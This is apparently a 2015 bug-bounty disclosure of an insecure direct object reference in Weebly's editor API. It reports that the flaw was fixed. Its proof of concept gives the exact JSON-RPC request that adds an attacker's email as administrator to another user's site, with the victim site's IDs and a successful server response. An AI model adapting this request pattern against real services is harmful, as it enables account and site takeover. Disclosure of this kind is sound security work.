Title: Hijack any website from weebly.com by just adding an administrator to their website. [Insecure Direct Object Reference Vulnerability] ===== Weebly is a web-hosting service that allows the user to ?drag-and-drop? while using their website builder. As of August 2012, Weebly hosts over 20 million sites with a monthly rate of over 1 million unique visitors. ?http://en.wikipedia.org/wiki/Weebly?. Website: https://www.weebly.com Any weebly website owner can hijack any weebly website by just inviting himself/herself through email and modifying the site ID in HTTP Request. ===== PoC: Video: https://www.youtube.com/watch?v=ovM-wliY7lE Written: Here's the website details of the target: weebly site: ohhyeahphfudge.weebly.com owner_id: 47812623 site_id: 367503762921888574 ===== HTTP Request: POST /api/JsonRPC/Editor/ HTTP/1.1 Host: www.weebly.com {"jsonrpc":"2.0","method":"Contributor::createMultiple","params":[{"role":"admin","email":"huehuehuehue10+weebly@xxxxxxxxx","message":"HiJacking Weebly websites","restrict_pages":false,"owner_id":"47812623","site_id":"367503762921888574"}],"id":0} ===== HTTP Response: HTTP/1.1 200 OK Date: Sun, 22 Feb 2015 08:29:26 {"jsonrpc":"2.0","id":0,"method":"Contributor::createMultiple","result":{"success":true,"models":[{"id":"invitation-596276730608950492","pending":true,"owner_id":"47812623","user_id":null,"site_id":"367503762921888574","email":"huehuehuehue10+weebly@xxxxxxxxx","last_login":false,"role":"admin","display_role":"Administrator","invitation_id":"596276730608950492","invitation_used":null,"invitation_retracted":null,"message":"HiJacking Weebly websites","restrict_pages":false,"allowed_pages":[],"allow_publish":true,"allow_stats":true,"allow_form_entries":true,"allow_blog_comments":true}],"errors":[]}} ===== Report Timeline: February 22, 2015 ? Bug Found by Allan Jay Dumanhug. February 26, 2015 ? Vendor Response and Vendor Fix/Patch.
